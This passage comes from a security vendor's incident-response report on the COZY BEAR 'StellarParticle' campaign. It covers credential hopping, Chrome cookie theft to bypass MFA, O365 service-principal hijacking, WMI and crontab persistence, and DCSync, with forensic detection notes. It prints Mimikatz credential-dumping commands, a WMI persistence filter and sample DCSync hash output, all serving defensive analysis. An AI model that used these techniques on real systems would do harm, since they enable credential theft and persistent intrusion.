+other infrastructure server? What credentials were used as part of the session from which the
+O365 authentication occurred?
+This led our responders to identify the occurrence of 
+credential hopping,
+ where the threat
+actor leveraged different credentials for each step while moving laterally through the victim
+network. While this particular technique is not necessarily unique to the StellarParticle
+campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.
+Below is an example of how a threat actor performs credential hopping:
+Gain access to the victim
+s network by logging into a public-facing system via Secure
+Shell (SSH) using a local account <user sftp> acquired during previous credential theft
+activities.
+Use port forwarding capabilities built into SSH on the public-facing system to establish a
+Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain
+service account.
+2/22
+From Server 1, establish another RDP session to a different internal server (Server 2)
+using a domain administrator
+s account.
+Log in to O365 as a user with privileged access to cloud resources.
+Figure 1. Example of 
+credential hopping
+ technique
+This technique could be hard to identify in environments where defenders have little visibility
+into identity usage. In the example shown in Figure 1, the threat actor leveraged a service
+interactively, which should generate detections for defenders to investigate. However, the
+threat actor could have easily used a second domain administrator account or any other
+combination of accounts that would not be easily detected. A solution such as CrowdStrike
+Falcon
+ Identity Threat Detection would help identify these anomalous logons 
+ and
+especially infrequent destinations for accounts. (Read how CrowdStrike incident responders
+leverage the module in investigations in this blog: Credentials, Authentications and Hygiene:
+Supercharging Incident Response with Falcon Identity Threat Detection.)
+But how had the threat actor succeeded in authenticating into victim O365 tenants, when
+multifactor authentication (MFA) had been enabled for every O365 user account at each victim
+organization investigated by CrowdStrike?
+Cookie Theft to Bypass MFA
+Even though the victims required MFA to access cloud resources from all locations, including
+on premises, the threat actor managed to bypass MFA through the theft of Chrome browser
+cookies. The threat actor accomplished this by using administrative accounts to connect via
+SMB to targeted users, and then copy their Chrome profile directories as well as data
+protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are
+encrypted using DPAPI. The user-specific encryption keys for DPAPI are stored under
+C:\Users\<user>\AppData\Roaming\Microsoft\Protect\ . To leverage these encryption
+keys, the threat actor must first decrypt them, either by using the user account
+s Windows
+password, or, in Active Directory environments, by using a DPAPI domain backup key that is
+stored on domain controllers.
+Once the threat actor had a Chrome cookies file from a user that had already passed an MFA
+challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using
+the user
+s DPAPI key. The cookies were then added to a new session using a 
+Cookie Editor
+Chrome extension that the threat actor installed on victim systems and removed after using.
+Shellbags, Falcon Telemetry and RDP Bitmap Cache
+3/22
+From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been
+challenging to identify, due to the threat actor
+s penchant for strict operational security. This
+activity was identified via a NewScriptWritten event within Falcon when a JavaScript file
+was written to disk by a threat actor-initiated Chrome process. This event captured the unique
+extension ID associated with the extension, thereby allowing CrowdStrike incident responders
+to validate via the Chrome Store that the JavaScript file was associated with the 
+Cookie
+Editor
+ plugin. This extension permitted bypassing MFA requirements, as the cookies,
+replayed through the Cookie Editor extension, allowed the threat actor to hijack the already
+MFA-approved session of a targeted user.
+Shellbags were also instrumental in identifying the cookie theft activity. This artifact very
+clearly showed the threat actor accessing targeted users
+ machines in sequence and browsing
+to the Chrome and DPAPI directories one after another. Parsing Shellbags for an
+administrative account leveraged by the threat actor resulted in entries similar to the below.
+Figure 2. Shellbag artifacts showing targeting of Chrome directories
+CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a
+target user
+s Chrome and DPAPI directories via administrative share, installing the Cookie
+Editor extension, and using Chrome to impersonate the targeted user in the victim
+s cloud
+tenants. The decryption of the cookies is believed to have taken place offline after exfiltrating
+the data via the clipboard in the threat actor
+s RDP session.
+Figure 3. Representation of lateral movement to cookie theft to O365 authentication
+4/22
+CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user
+workstation with the workstation owner
+s account (e.g., connecting via RDP to user1-pc using
+the account user1). In cases where the user had only locked their screen and not signed out,
+the threat actor was able to take over the user
+s Windows session, as the RDP session would
+connect to the existing session of the same user. By examining RDP Bitmap Cache files,
+CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported
+all of the user
+s saved passwords as plaintext in a CSV file during these sessions.
+Figure 4. RDP Bitmap Cache reconstruction showing exportation of
+Chrome passwords
+In addition, the threat actor visited sensitive websites that the user had access to, which in one
+instance allowed them to browse and download a victim
+s customer list. After this, the threat
+actor navigated to the user
+s Chrome history page and deleted the specific history items related
+to threat actor activity, leaving the rest of the user
+s Chrome history intact.
+O365 Delegated Administrator Abuse
+CrowdStrike also identified a connection between StellarParticle-related campaigns and the
+abuse of Microsoft Cloud Solution Partners
+ O365 tenants. This threat actor abused access to
+accounts in the Cloud Solution Partner
+s environment with legitimate delegated administrative
+privileges to then gain access to several customers
+ O365 environments.
+By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise
+(IOCs) to identify several threat actor logins to customer environments. These cross-tenant
+sign-ins were identified by looking for values in the resourceTenantId attribute that did not
+match the Cloud Solution Partner
+s own Azure tenant ID.
+CrowdStrike also identified a limitation within Microsoft
+s Delegated Administration
+capabilities for Microsoft Cloud Solution Partners. While a normal O365 administrator can be
+provided dozens of specific administrative roles to limit the privileges granted, this same
+5/22
+degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the
+delegated administrator functionality in O365.
+For Microsoft Cloud Solution Partners, there are only two substantial administrative options
+today when managing a customer
+s environment, Admin agent or Helpdesk agent .2 The
+Helpdesk agent role provides very limited access that is equivalent to a password admin
+role, whereas the Admin agent role provides broad access more equivalent to global
+administrator. This limitation is scheduled to be resolved in 2022 via Microsoft
+s scheduled
+feature, Granular Delegated Admin Privileges (GDAP).3
+User Access Logging (UAL)
+The Windows User Access Logging (UAL) database is an extremely powerful artifact that has
+played an instrumental role in the investigation of StellarParticle-linked cases. In particular,
+UAL has helped our responders identify earlier malicious account usage that ultimately led to
+the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax
+variant.
+The UAL database is available by default on Server editions of Windows starting with Server
+2012. This database stores historical information on user access to various services (or in
+Windows parlance, Roles) on the server for up to three years (three years minus one day) by
+default. UAL contains information on the type of service accessed, the user that accessed the
+service and the source IP address from which the access occurred. One of the most useful roles
+recorded by UAL is the File Server role, which includes SMB access, though other role types
+can also be very helpful. An overview of UAL, what information it contains and how it can be
+leveraged in forensic investigations can be found here.
+In multiple StellarParticle-related cases, because the threat actor used the same set of accounts
+during their operations in the environment, CrowdStrike was able to identify previous
+malicious activity going back multiple years, based solely on UAL data. Even though it
+s only
+available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity
+on legacy systems as long as the activity on the legacy system involves some (deliberate or
+unintentional) access to a 2012+ system. For example, in addition to tracking SMB activity,
+UAL databases on Domain Controllers track Active Directory access.
+This allowed CrowdStrike to demonstrate that a given user account was also authenticating to
+Active Directory from a given source IP address two years prior. Because the user account was
+known to have recently been abused by the threat actor, and the source IP of the system in
+question was not one that account would typically be active on, the investigation led to the
+source system and ultimately resulted in the timeline of malicious activity being pushed back
+by years, with additional compromised systems even being discovered still running unique
+malware from that time period.
+TrailBlazer and GoldMax
+6/22
+Throughout StellarParticle-related investigations, CrowdStrike has identified two
+sophisticated malware families that were placed on victim systems in the mid-2019 timeframe:
+a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.
+TrailBlazer
+Attempted to blend in with a file name that matched the system name it resided on
+Configured for WMI persistence (generally uncommon in 2019)
+Used likely compromised infrastructure for C2
+Masquerades its command-and-control (C2) traffic as legitimate Google Notifications
+HTTP requests
+TrailBlazer is a sophisticated malware family that provides modular functionality and a very
+low prevalence. The malware shares high-level functionality with other malware families. In
+particular, the use of random identifier strings for C2 operations and result codes, and
+attempts to hide C2 communications in seemingly legitimate web traffic, were previously
+observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST. TrailBlazer
+persists on a compromised host using WMI event subscriptions4 
+ a technique also used by
+SeaDuke 
+ although this persistence mechanism is not exclusive to COZY BEAR.5
+WMI event filter
+SELECT * FROM __InstanceModificationEvent WITHIN 60
+WHERE TargetInstance ISA
+'Win32_PerfFormattedData_PerfOS_System' AND
+TargetInstance.SystemUpTime >= 180 AND
+TargetInstance.SystemUpTime < 480
+WMI Event consumer
+(CommandLineTemplate)
+C:\Program Files (x86)\Common Files\Adobe\
+<FILENAME>.exe
+Filter to consumer
+binding
+CommandLineEventConsumer.Name="
+<GUID1>"|__EventFilter.Name="<GUID2>"
+Table 1. TrailBlazer WMI Persistence
+In the obfuscated example above, TrailBlazer ( <FILENAME> .exe ) would be executed when
+the system
+s uptime was between 180 and 480 seconds.
+GoldMax (Linux variant)
+Attempted to blend in with a file name that matched the system name it resided on
+Configured for persistence via a crontab entry with a @reboot line
+Used likely compromised infrastructure for C2
+GoldMax was first observed during post-exploitation activity in the campaign leveraging the
+SolarWinds supply chain attacks. Previously identified samples of GoldMax were built for the
+Windows platform, with the earliest identified timestamp indicating a compilation in May
+2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux
+7/22
+platform that the threat actor deployed in mid-2019. This variant extends the backdoor
+known history and shows that the threat actor has used the malware in postexploitation activity targeting other platforms than Windows.
+The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and
+implementation to the previously identified May 2020 Windows variant. The very few
+additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding
+evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor
+during StellarParticle-related compromises, which would be consistent with the few changes
+made to the malware to modify existing functions or support additional functionality.
+Persistence was established via a crontab entry for a non-root user. With the binary named to
+masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry
+was created with a @reboot line so the GoldMax binary would execute again upon system
+reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals,
+and the process will continue to run even if the terminal session was terminated.
+Figure 5. Crontab entry for GoldMax persistence
+Enumeration Tools/Unique Directory Structure
+Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a
+VBScript-based Active Directory enumeration toolkit. While the script
+s contents have not
+been recovered to date, CrowdStrike has observed identical artifacts across multiple
+StellarParticle engagements that suggest the same or similar tool was used.
+In each instance the tool was used, Shellbags data indicated that directories with random
+names of a consistent length were navigated to by the same user that ran the tool. After two
+levels of randomly named directories, Shellbags proved the existence of subdirectories named
+after the FQDNs for the victims
+ various domains. In addition, the randomly named directories
+are typically created in a previously existing directory that
+s one level off of the root of the C
+drive. The randomly named directories have a consistent length where the first directory is six
+characters and the next directory is three characters. To date, the names of the directories have
+always been formed from lowercase alphanumeric characters. For example, Shellbags
+indicated that directories matching the naming patterns below were browsed to (where 
+a previously existing directory on the system):
+C:\XX\[a-z0-9]{6}
+C:\XX\[a-z0-9]{6}\[a-z0-9]{3}
+C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain.FQDN
+C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain-2.FQDN
+8/22
+In each case, immediately prior to the creation of the directories referenced above, there was
+evidence of execution of a VBScript file by the same user that browsed to the directories. This
+evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries
+for wscript.exe (that would also include the VBScript filename). In addition, the Jump List for
+wscript.exe contained evidence of the VBScript files. The name of the VBScript files varied
+across engagements and was generally designed to look fairly innocuous and blend in. Two
+examples are env.vbs and WinNet.vbs . Due to the subdirectories that are named after the
+FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts
+represent an AD enumeration tool used by the adversary.
+Internal Wiki Access
+Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance
+activities performed by the threat actor: access of victims
+ internal knowledge repositories.6
+Wikis are commonly used across industries to facilitate knowledge sharing and as a source of
+reference for a variety of topics. While operating in the victim
+s internal network, the threat
+actor accessed sensitive information specific to the products and services that the victim
+organization provided. This information included items such as product/service architecture
+and design documents, vulnerabilities and step-by-step instructions to perform various tasks.
+Additionally, the threat actor viewed pages related to internal business operations such as
+development schedules and points of contact. In some instances these points of contact were
+subsequently targeted for further data collection.
+The threat actor
+s wiki access could be considered an extension of 
+Credential Hopping
+described earlier. The threat actor established RDP sessions to internal servers using
+privileged accounts and then accessed the wiki using a different set of credentials. CrowdStrike
+observed the threat actor accessing the wiki as users who would be considered 
+nonprivileged
+ from an Active Directory perspective but had access to sensitive data specific to the
+victim
+s products or services.
+At this time, the malicious access of internal wikis is an information gathering technique that
+CrowdStrike has only observed in StellarParticle investigations. CrowdStrike was able to
+identify the wiki access primarily through forensic analysis of the internal systems used by the
+threat actor. Given the threat actor
+s penchant for clearing browser data, organizations should
+not rely upon the availability of these artifacts for future investigations. CrowdStrike
+recommends the following best practices for internal information repositories:
+Enable detailed access logging
+Ensure logs are centralized and stored for at least 180 days
+Create detections for anomalous activity such as access from an unusual location like a
+server subnet
+Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind
+9/22
+O365 Built-in Service Principal Hijacking
+The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server
+and opened a PowerShell console, then used the PowerShell command -ep bypass to
+circumvent the execution policy. Using the Windows Azure Active Directory PowerShell
+Module, the threat actor connected to the victim
+s O365 tenant and began performing
+enumeration queries. These queries were recorded in text-based logs that existed under the
+path
+C:\Users\<user>\AppData\Local\Microsoft\Office365\Powershell\ .
+Similar logs (for Azure AD instead of O365) can be found under the path:
+C:\Users\<user>\AppData\Local\Microsoft\AzureAD\Powershell\ .
+While the logs didn
+t include what data was returned by the queries, they did provide some
+insight such as the user account used to connect to the victim
+s O365 tenant (which was not
+the same as the user the threat actor used to RDP to the vCenter server). The logs contained
+commands issued and the count of the results returned for a specific command. The
+commands included enumeration queries such as:
+ListAccountSkus
+ListPartnerContracts
+ListServicePrincipals
+ListServicePrincipalCredentials
+ListRoles
+ListRoleMembers
+ListUsers
+ListDomains
+GetRoleMember
+GetPartnerInformation
+GetCompanyInformation
+In this case, however, the most significant and concerning log entry was one that indicated the
+command AddServicePrincipalCredentials was executed. By taking the timestamp that
+the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed
+the configuration settings in the victim
+s O365 tenant and discovered that a new secret had
+been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub
+Service Principal, which had Application level permissions. Further, the newly added
+secret was set to remain valid for more than a decade. This data was acquired by exporting the
+secrets and certificates details for each Azure AD Enterprise Application.
+The Service Principal (now renamed to Microsoft Teams Shifts ) had the following
+permissions at the time the configuration settings were collected:
+10/22
+Member.Read
+Member.Read.All
+Member.ReadWrite
+Member.ReadWrite.All
+Shift.Read
+Shift.Read.All
+Shift.ReadWrite
+Shift.ReadWrite.All
+Team.Read
+Team.Read.All
+Team.ReadWrite
+Team.ReadWrite.All
+User.Read.All
+User.ReadWrite.All
+WebHook.Read.All
+WebHook.ReadWrite.All
+CrowdStrike was unable to find Microsoft documentation, but based on open-source research,7
+this application likely had the following permissions around the time of registration:
+Mail.Read
+Group.Read.All
+Files.Read.All
+Group.ReadWrite.All
+The most notable permissions above are the Mail.Read , Files.Read and
+Member.ReadWrite permissions. These permissions would allow the threat actor to use the
+Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the
+organization, as well as create new accounts and assign administrator privileges to any account
+in the organization.
+By running the commands from within the victim
+s environment, MFA requirements were
+bypassed due to conditional access policies not covering Service Principal sign-ins at this point
+of time.8 However, as explained earlier, the threat actor managed to continue to access the
+victim
+s cloud environment even when the victim enforced MFA for all connections regardless
+of source.
+While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs,
+the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also
+included information on the accounts that were used to authenticate to the cloud. This
+information was stored under the registry path. Below is an example of the registry data:
+11/22
+Figure 6. Example registry entry showing target O365 email accounts
+The same WSMan connection string was also located in the user
+s NTUSER.DAT registry hive
+under the path:
+Figure 7. WSMan connection string registry location
+While not strictly related to the O365 PowerShell activity, the Windows Event Log
+Microsoft-Windows-WinRM%4Operational.evtx also included information on connection
+attempts made to external O365 tenants. This information was logged under Event ID 6.
+Below is an example of what the event included:
+Figure 8. Windows Event Log entry showing connection to O365 tenants
+O365 Company Service Principal Manipulation
+The threat actor also deployed several layers of persistence utilizing both pre-existing and
+threat actor-created Service Principals with the ultimate goal of gaining global access to email.
+Attacker-created Service Principal
+First, the threat actor used a compromised O365 administrator account to create a new Service
+Principal with a generic name. This Service Principal was granted company administrator
+privileges. From there, the threat actor added a credential to this Service Principal so that they
+could access the Service Principal directly, without use of an O365 user account.
+These actions were recorded in Unified Audit Logs with the following three operation names:
+Add service principal
+Add member to role
+Add service principal credentials.
+Update Service Principal
+Company-Created Service Principal Hijacking
+Next, the threat actor utilized the threat actor-created Service Principal to take control of a
+second Service Principal. This was done by adding credentials to this second Service Principal,
+which was legitimately created by the company. This now compromised company-created
+Service Principal had mail.read graph permissions consented on behalf of all users within
+the tenant.
+12/22
+This action was recorded by just one operation type in Unified Audit Logs. This operation type
+is named Add service principal credentials .
+Mail.Read Service Principal Abuse
+Finally, the threat actor utilized the compromised Service Principal with the assigned
+mail.read permissions to then read emails of several different users in the company
+environment.
+CrowdStrike was able to use the Unified Audit Logs
+ (UAL) MailItemsAccessed operation
+events to see the exact emails the threat actor viewed, as the majority of the users in the tenant
+were assigned O365 E5 licenses. When performing analysis on the UAL, CrowdStrike used the
+ClientAppId value within the MailItemsAccessed operation and cross-correlated with
+the Application ID of the compromised service principal to see what activities were performed
+by the threat actor.
+O365 Application Impersonation
+Another consistent TTP identified during StellarParticle investigations has been the abuse of
+the ApplicationImpersonation 9 role. When this role was assigned to a particular user that
+was controlled by the threat actor, it allowed the threat actor to impersonate any user within
+the O365 environment. These impersonated events are not logged verbosely by the Unified
+Audit Logs and can be difficult to detect.
+While the assignment of these ApplicationImpersonation roles were not logged in the
+Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the
+management role configuration settings, which can be exported with the Exchange PowerShell
+command:
+Get-ManagementRoleAssignment -Role ApplicationImpersonation .
+CrowdStrike then analyzed the exported configuration settings and identified several users
+(not service accounts) that the threat actor likely gave direct ApplicationImpersonation
+roles during the known periods of compromise.
+Remote Tasklist
+The threat actor attempted to remotely list running processes on systems using
+tasklist.exe . As tasklist uses WMI 
+under the hood,
+ this activity was captured by Falcon
+as SuspiciousWmiQuery events that included the query and the source system. Additionally,
+the failed (not successful) process listing resulted in a DCOM error that was logged in the
+System.evtx event log under Event ID 10028. A sample of the information included with this
+event is below:
+13/22
+Figure 9. Event ID 10028 showing failed execution of remote tasklist
+This remote process listing was consistently used by the threat actor targeting the same or
+similar lists of remote systems, and the owners of the targeted systems also happened to be the
+individuals with cloud access that the threat actor was interested in. While unproven, it
+possible the threat actor was running tasklist remotely on these systems specifically to see
+which of the target systems was running Google Chrome. This is because a current or recent
+Chrome session to the victim
+s cloud tenants would be potentially beneficial in the hijacking of
+sessions that the threat actor performed in order to access the victim
+s cloud resources.
+FTP Scanning/Identity Knowledge
+In one instance, after being evicted from a victim environment, the threat actor began probing
+external services as a means to regain access, initially focusing on (S)FTP servers that were
+internet-accessible. Logs on the servers indicated that the threat actor attempted to log in with
+multiple valid accounts and in several cases was successful. There was little to no activity
+during the (S)FTP sessions. This likely was an exercise in attempting to identify misconfigured
+(S)FTP accounts that also had shell access, similar to what
+s described in the Credential
+Hopping section earlier. Some of the accounts used were not in the victim
+s Active Directory,
+as these were accounts for customers of the victim and stored in a separate LDAP database.
+However, the threat actor had knowledge of these accounts and used them on the correct
+systems, which further confirmed that the threat actor had advanced knowledge of the victim
+environment.
+After confirming the FTP accounts did not provide shell access into the environment, the
+threat actor began attempting to connect into the environment via VPN. The threat actor
+attempted to log in to the VPN using several user accounts but was prevented from connecting,
+either due to not having the correct password, or due to having the correct password but not
+getting past the recently implemented MFA requirement. Eventually, the threat actor
+attempted an account that they had the correct password for but that had not been set up with
+MFA. This resulted in a prompt being displayed to the threat actor that included an MFA setup
+link. The threat actor subsequently set up MFA for the account and successfully connected to
+the victim
+s network via VPN.
+TA Masquerading of System Names
+During the attempted and successful VPN authentications described above, the threat actor
+ensured the hostname of their system matched the naming convention of hostnames in the
+victim
+s environment. This again showed a strong knowledge of the victim
+s internal
+environment on the part of the threat actor. Not only did the masqueraded hostnames follow
+the correct naming convention from a broad perspective, they were also valid in terms of what
+14/22
+would be expected for the user account the threat actor leveraged (i.e., in terms of the site
+name and asset type indicated in the hostname). This masqueraded hostname technique has
+been observed at multiple StellarParticle-related investigations.
+Credential Theft Using Get-ADReplAccount
+In one example, the threat actor connected into the victim
+s environment via a VPN endpoint
+that did not have MFA enabled. Once connected to the VPN, the threat actor connected via
+Remote Desktop to a Domain Controller and copied the DSInternals10 PowerShell module to
+the system. The threat actor subsequently ran the DSInternals command GetADReplAccount targeting two of the victim
+s domains. This command uses the Microsoft
+Directory Replication Service (MS-DRSR) protocol and specifically the
+IDL_DRSGetNCChanges method to return account information from Active Directory such as
+the current NTLM password hashes and previous password hashes used for enforcing
+password reuse restrictions. A common name for this particular technique is DCSync.11
+An example output from Get-AdReplAccount is below:
+15/22
+DistinguishedName: CN=TestUser,OU=Admins,OU=Users,DC=demo,DC=local
+Sid: S-1-5-21-1432446722-301123485-1266542393-2012
+Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567
+SamAccountName: TestUser
+SamAccountType: User
+UserPrincipalName: TestUser@demo.local
+PrimaryGroupId: 513
+SidHistory:
+Enabled: True
+UserAccountControl: NormalAccount
+AdminCount: True
+Deleted: False
+LastLogonDate: 12/2/2021 1:41:46 PM
+DisplayName: TestUser
+GivenName: Test
+Surname: User
+Description: Admin Account
+ServicePrincipalName:
+SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent,
+DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected,
+SelfRelative
+Owner: S-1-5-21-1432446722-301123485-1266542393-512
+Secrets
+NTHash: 84a058676bb6d7de4237e18f09b91156
+LMHash:
+NTHashHistory:
+Hash 01: 84a058676bb6d7de4237e18f09b91156
+Hash 02: e047ebb3b7c463928c928fca95ac0ac8
+Hash 03: 6dc3cdb3e559ef00d3521351ace7477e
+Hash 04: a88355849f35fe7336de23a4ca3e6a9e
+Hash 05: de9bde95677672295349aa6e1e857704
+LMHashHistory:
+Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668
+Hash 02: 6a028636a6f52491424586bb88357f7c
+Hash 03: c13ef7347853dc3be7e7259fdc8818a1
+Hash 04: 6635151746869ce485246037747adae1
+Hash 05: 85543f498b007e07a3da662c8a9d450b
+SupplementalCredentials:
+ClearText:
+NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649
+Kerberos:
+Credentials:
+DES_CBC_MD5
+Key: 0013364f00003915
+DES_CBC_CRC
+Key: 0013364f00003915
+OldCredentials:
+DES_CBC_MD5
+Key: 00002a46000004bc
+DES_CBC_CRC
+Key: 00002a46000004bc
+Salt: demo.localTestUser
+Flags: 0
+KerberosNew:
+Credentials:
+AES256_CTS_HMAC_SHA1_96
+16/22
+Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f
+Iterations: 4096
+AES128_CTS_HMAC_SHA1_96
+Key: f67c2bcbfcfa30fccb36f72dca22a817
+Iterations: 4096
+DES_CBC_MD5
+Key: 00002f34000004ee
+Iterations: 4096
+DES_CBC_CRC
+Key: 00002f34000004ee
+Iterations: 4096
+OldCredentials:
+AES256_CTS_HMAC_SHA1_96
+Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f
+Iterations: 4096
+AES128_CTS_HMAC_SHA1_96
+Key: dc34bfd5e469edbeada77fac56aa35ae
+Iterations: 4096
+DES_CBC_MD5
+Key: 0000345400000520
+Iterations: 4096
+DES_CBC_CRC
+Key: 0000345400000520
+Iterations: 4096
+OlderCredentials:
+AES256_CTS_HMAC_SHA1_96
+Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087
+Iterations: 4096
+AES128_CTS_HMAC_SHA1_96
+Key: c38dfbd6c00b5f3b010a07f9e824fc38
+Iterations: 4096
+DES_CBC_MD5
+Key: 000039a500000551
+Iterations: 4096
+DES_CBC_CRC
+Key: 000039a500000551
+Iterations: 4096
+ServiceCredentials:
+Salt: demo.localTestUser
+DefaultIterationCount: 4096
+Flags: 0
+WDigest:
+Hash 01: 83ed141ab0eaf1ff7694147ba97e1994
+Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574
+Hash 03: 0c228c5816a79e561d999d489499a12a
+Hash 04: 83ed141ab0eaf1ff7694147ba97e1994
+Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574
+Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93
+Hash 07: 83ed141ab0eaf1ff7694147ba97e1994
+Hash 08: 10265b08a3bb710da516832eaf64368a
+Hash 09: 10265b08a3bb710da516832eaf64368a
+Key Credentials:
+Credential Roaming
+Created:
+Modified:
+Credentials:
+17/22
+Figure 10. Get-ADReplAccount example output
+When executing the Get-ADReplAccount command, the threat actor specified the AD
+context to be targeted via the NamingContext parameter. This was necessary, as the threat
+actor was targeting multiple domains. The resulting output of each command was redirected
+to a text file and compressed as zip archives before exfiltration.
+The fact that Get-ADReplAccount command includes not only the current NTLM hashes but
+also the hash history (i.e., hashes of previous passwords used by a user account) meant that
+the threat actor also had the ability to discover accounts that either reused the same passwords
+or used similar passwords when the account password was changed.
+Credential Refresh
+On some investigations, the dwell time of the threat actor spanned years. Given this extended
+period, it is logical to assume that some credentials obtained by the threat actor would be
+rotated during normal business operations. To combat this, the threat actor periodically
+refreshed
+ their credential set by performing credential theft activities in an already
+compromised environment. At one victim, CrowdStrike identified multiple instances of
+domain credential theft months apart, each time with a different credential theft technique.
+One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell
+script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique,
+the script executed by the threat actor was heavily obfuscated and encrypted the output using
+AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell
+Operational event log as the script
+s execution was logged automatically due to the use of
+specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their
+systems, as this functionality is only available with PowerShell version 5 and above.
+In addition to refreshing the threat actor
+s credentials, the threat actor would also refresh their
+understanding of the victim
+s AD environment. Around the time when the threat actor
+executed Get-ADReplAccount , the threat actor also executed a renamed version of AdFind to
+output domain reconnaissance information. In this instance, AdFind was renamed to
+masquerade as a legitimate Windows binary. The usage of renamed AdFind is consistent with
+other industry reporting on this campaign.
+In addition to using scripted commands, operators were repeatedly observed manually
+executing several standard PowerShell cmdlets to enumerate network information from AD,
+including Get-ADUser and Get-ADGroupMember to query specific members in the
+directory. This information provided the adversary with a list of accounts possessing particular
+privileges 
+ in this case, the ability to make VPN connections 
+ that would be subject to later
+credential stealing attempts and leveraged to access the victim at a later time.
+Password Policies/Hygiene
+18/22
+In some cases, the threat actor was able to quickly return to the environment and essentially
+pick up where they left off, even though the organization had performed an enterprise-wide
+password reset, including a reset of all service accounts and the double-reset of the krbtgt
+account. CrowdStrike determined that in these cases, administrative users had 
+reset
+ their
+own password to the same password they previously used, essentially nullifying the impact of
+the enterprise-wide reset. This was possible even though the customer
+s Active Directory was
+configured to require new passwords to be different from the previous five passwords for a
+given account. Unfortunately, this check only applies when a user is changing their password
+via the 
+password change
+ method 
+ but if a 
+password reset
+ is performed (changing the
+password without knowing the previous password), this check is bypassed for an
+administrative user or a Windows account that has the Reset Password permission on a user
+account object.12 Since the Get-ADReplAccount cmdlet described above included the
+NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was
+able to verify that some administrative accounts indeed had the exact same password hash
+showing up multiple times in the password history, as well as in the current NTHash value.
+Close Out
+The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates
+this threat actor
+s extensive knowledge of Windows and Linux operating systems, Microsoft
+Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected
+for months 
+ and in some cases, years.
+A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams
+for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet,
+Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.
+Endnotes
+MITRE ATT&CK Framework
+The following table maps TTPs covered in this article to the MITRE ATT&CK
+ framework.
+Tactic
+Technique
+Observable
+Credential
+Access
+T1003.006 OS
+Credential
+Dumping:
+DCSync
+The threat actor obtained Active Directory credentials
+through domain replication protocols using the GetADReplAccount command from DSInternals
+Credential
+Access
+T1003.001: OS
+Credential
+Dumping:
+LSASS
+Memory
+The threat actor used a heavily obfuscated PowerShell
+script to execute the Mimikatz commands
+privilege::debug sekurlsa::logonpasswords
+lsadump::lsa /patch
+ in-memory and encrypt the
+output
+19/22
+Initial Access /
+Persistence
+T1078.003:
+Valid Accounts:
+Local Accounts
+A local account was used by the Threat Actor to
+establish a SSH tunnel into the internal network
+environment
+Initial Access /
+Persistence
+T1133:
+External
+Remote
+Services
+The threat actor used VPNs to gain access to systems
+and persist in the environment
+Credential
+Access
+T1555.003:
+Credentials
+from Password
+Stores:
+Credentials
+from Web
+Browsers
+The threat actor exported saved passwords from
+user
+s Chrome browser installations
+Credential
+Access
+T1539: Steal
+Web Session
+Cookie
+The threat actor stole web session cookies from end
+user workstations and used them to access cloud
+resources
+Lateral
+Movement
+T1021.001:
+Remote
+Services:
+Remote
+Desktop
+Protocol
+The threat actor used both privileged and nonprivileged accounts for RDP throughout the
+environment, depending on the target system
+Initial Access,
+Persistence
+T1078.004:
+Valid Accounts:
+Cloud
+Accounts
+The threat actor used accounts with Delegated
+Administrator rights to access other O365 tenants. The
+Threat actor also used valid accounts to create
+persistence within the environment.
+Persistence
+T1546.003:
+Event
+Triggered
+Execution:
+Windows
+Management
+Instrumentation
+Event
+Subscription
+TrailBlazer was configured to execute after a reboot
+via a command-line event consumer
+Defense
+Evasion
+T1036.005:
+Masquerading:
+Match
+Legitimate
+Name or
+Location
+The threat actor renamed their utilities to masquerade
